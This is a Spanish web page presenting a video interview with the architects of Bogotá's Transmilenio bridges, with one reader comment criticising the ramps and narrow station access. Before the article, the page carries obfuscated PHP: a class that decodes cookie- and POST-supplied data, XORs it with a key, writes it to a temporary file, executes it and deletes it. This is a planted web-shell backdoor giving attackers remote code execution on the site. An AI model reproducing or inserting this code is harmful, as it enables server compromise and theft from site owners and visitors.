$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> La historia detrás de los Puentes de Transmilenio – www.interferencechannel.com

La historia detrás de los Puentes de Transmilenio

Una entrevista con Carlos Hernández y Rafael Esguerra, sus creadores.

Los arquitectos nos dejaron entrar en su oficina y nos contaron todos los detalles detrás de la idea conceptual de los puentes.

[youtube width=”640″ height=”360″]https://www.youtube.com/watch?v=8ShJpcRMYYY[/youtube]

Agradecimientos especiales a Carlos Hernández y Rafael Esguerra por esta entrevista y por toda la información facilitada.

No Responses to “La historia detrás de los Puentes de Transmilenio

  • Felipe Atalaya Echavarría
    9 years ago

    Hay una grave falla en entre estas muchas ventajas descritas muchos no tienen escaleras sino solamente las rampas y por la leve inclinación para discapacitados y sus siilas obligan a la mayoría a emplear por do y por tres el tiempo de movilización eso me parece un desacierto así se aduzca que de una vez queda la gente haciendo cola para tomar el bus. También los espacios al acercarse y salir de la estación son muy estrechos y como todo en Bogotá nos acostumbran al “trancón” todo lindo pero no tanto!!!!!!